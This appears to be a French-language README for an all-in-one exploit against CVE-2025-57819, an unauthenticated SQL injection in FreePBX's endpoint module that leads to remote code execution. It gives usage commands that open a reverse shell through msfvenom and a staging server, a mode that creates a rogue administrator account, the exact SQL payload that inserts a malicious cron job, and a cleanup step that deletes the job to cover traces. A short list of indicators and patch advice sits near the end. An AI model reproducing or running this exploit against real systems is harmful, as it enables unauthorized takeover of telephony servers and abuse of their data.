
FreePBX Pre-Auth SQLi to RCE (CVE-2025-57819) — Exploit Tout-en-Un
Un exploit tout-en-un pour CVE-2025-57819, une injection SQL non authentifiée dans le module endpoint de FreePBX menant à une exécution de code à distance via injection de tâches cron.
FreePBX expose le point d'accès admin/ajax.php?module=FreePBX\modules\endpoint\ajax
sans nécessiter d'authentification (CWE-288). Le paramètre brand est passé directement
dans les requêtes SQL sans échappement (CWE-89), permettant à un attaquant d'injecter des
instructions SQL arbitraires dans la base de données asterisk.
[Requête HTTP non authentifiée]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
Injection SQL dans la table `cron_jobs`
(INSERT avec commande contrôlée par l'attaquant, schedule="* * * * *")
│
▼
Dans les ~60 secondes, le démon cron exécute la commande en tant qu'utilisateur `asterisk`
│
▼
Exécution de code à distance
Cet exploit supporte trois modes :
linux/x64/shell_reverse_tcp via msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Exemple :
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Ceci utilise le port 4452 pour le reverse shell et 4453 pour le serveur HTTP de staging.
--create-user)Crée un nouveau compte administrateur FreePBX via SQLi. Pas de reverse shell, pas de connexion retour, pas de binaires nécessaires.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <chemin>)Utilisez votre propre binaire ELF au lieu d'en générer un avec msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /chemin/vers/mon_shell.elf
requests (pip install requests)msfvenom) ou un payload personnalisé avec --payload--create-user : Rien d'autre que Python + requestsLe point d'accès vulnérable est :
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
Le paramètre brand est concaténé dans une requête SQL INSERT sans échappement.
L'exploit construit l'injection comme suit :
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
Le -- final commente le reste de la requête originale.
FreePBX utilise le sous-système cron d'Asterisk. Les tâches cron sont vérifiées chaque minute.
Lorsque la planification de la tâche insérée (* * * * *) correspond, la commande s'exécute sous
l'utilisateur système asterisk.
Après la fin de la session (ou après un délai d'attente), l'exploit envoie une requête SQLi DELETE
pour supprimer la tâche cron injectée de cron_jobs.
asterisk.cron_jobs avec des noms de module/tâche aléatoiresasteriskampusers (si mode --create-user)Mettez à jour le module endpoint vers les versions corrigées :
Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. L'auteur n'est pas responsable d'une mauvaise utilisation.